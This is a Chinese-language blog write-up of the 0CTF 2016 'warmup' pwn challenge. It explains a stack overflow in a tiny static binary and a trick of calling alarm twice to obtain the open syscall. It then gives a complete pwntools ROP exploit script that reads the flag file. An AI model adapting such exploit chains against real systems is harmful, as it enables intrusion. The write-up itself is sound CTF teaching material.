0ctf-2016 pwn-warmup writeup

原创

Anciety 于 2017-03-04 10:25:53 发布 2455 收藏 1

分类专栏： ctf pwn

本文链接：https://blog.csdn.net/qq_29343201/article/details/60321810

题目

一个bin，知道的信息是flag 的路径

- https://github.com/ctfs/write-ups-2016/tree/master/0ctf-2016/exploit/warumup-2

分析

```
[anciety@anciety-pc warmup]$ file warmup
warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c179
[anciety@anciety-pc warmup]$ ./warmup
Welcome to 0CTF 2016!
abcde
Good Luck!
```

基本上就是读入一个字符串然后输出一个good luck，看来没有什么逻辑，打开IDA看吧，可以发现函数很少，几乎都是sys_call
根据sys_call的传参信息:

```
eax: 系统调用号
ebx: 参数1
ecx: 参数2
edx: 参数3
```

可以分析出各个函数的作用，当然ida基本上也把这些直接标出来了。
系统调用分别有:

- sys_alarm
- sys_read

  sys_write

  然后开启的保护只有NX。

  找了下漏洞，很明显，读入了50个字符，但是32个字符的位置就已经超过栈空间了，是个栈溢出，开启了NX，显然需要ROP，但是因为题目的bin非常非常小，又没有使用libc，直接ROP是不可能了，因为没有足够的GADGET，所以需要另辟蹊径。

  通过系统调用，我们可以看到有READ和WRITE，如果还有OPEN，我们就可以通过ROP将文件打开，read，再write到stdout，但是没有open，所以这就是这个题目的难点了。

解决方案

因为没有open，但是还有一个alarm是我们没有用到的，查了一下alarm，大概就是第一次调用alarm之后开始计时，计时完之前如果再次调用alarm就会把剩余的时间以秒为单位作为返回值返回，这就是这个题目的突破口了。

所以最后的方案就是通过调用两次alarm，将eax设置为5(open的系统调用号)，然后rop到设置ebx，ecx，edx然后int 80h的位置，这样就可以调用open了，接着的思路就是有了open，然后找两个位置，一个read读path，一个read读内容，最后write把内容写到stdout即可

exp.py:

```
from pwn import *
import time

# 因为没有参考，只作为练习用，所以远程并没有测试过，路径也不是比赛时候的路径
DEBUG = 1
if DEBUG:
    p = process("./warmup")
else:
    p = remote("202.120.7.207", 52608)


def read_path(p, sys_read, vuln_func, write_buf):
    path = '/tmp/flag'
    payload = 'a' * 32
    payload += p32(sys_read)
    payload += p32(vuln_func)
    payload += p32(0) # fd: stdin
    payload += p32(write_buf) # addr: write_buf
    payload += p32(len(path)) # len: 50
    p.send(payload)
    p.recvline() # Good luck!\n
    p.send(path)


def open_path(p, sys_alarm, vuln_func, write_buf, set_ebx_ecx_edx):
    time.sleep(5)
    payload = 'a' * 32
    payload += p32(sys_alarm)
    payload += p32(set_ebx_ecx_edx)
    payload += p32(vuln_func)
    payload += p32(write_buf) # ebx: write_buf
    payload += p32(6) # flag: RWX
```

```
    p.send(payload)
    p.recvline()


def read_from(p, sys_read, write_buf2, vuln_func):
    payload = 'a' * 32
    payload += p32(sys_read)
    payload += p32(vuln_func)
    payload += p32(3) # fd: first file fd
    payload += p32(write_buf2) # addr: read to write_buf2
    payload += p32(30) # len: 30, enough to contain the flag
    p.send(payload)
    p.recvline()


def get_flag(p, sys_write, write_buf2):
    payload = 'a' * 32
    payload += p32(sys_write)
    payload += p32(0) # won't need to chain another
    payload += p32(1) # fd: stdout
    payload += p32(write_buf2) # addr: write_buf2
    payload += p32(30) # len: 30
    p.send(payload)
    p.interactive()
def main():
    global p

    #gdb.attach(p)
    vuln_func = 0x0804815a
    set_ebx_ecx_edx = 0x0804813a
    write_buf = 0x8049210
    write_buf2 = 0x8049300
    sys_alarm = 0x804810d
    sys_read = 0x804811d
    sys_write = 0x8048135

    p.recvline() # welcome...
    read_path(p, sys_read, vuln_func, write_buf)
    open_path(p, sys_alarm, vuln_func, write_buf, set_ebx_ecx_edx)
    read_from(p, sys_read, write_buf2, vuln_func)
    get_flag(p, sys_write, write_buf2)

if __name__ == "__main__":
    main()
```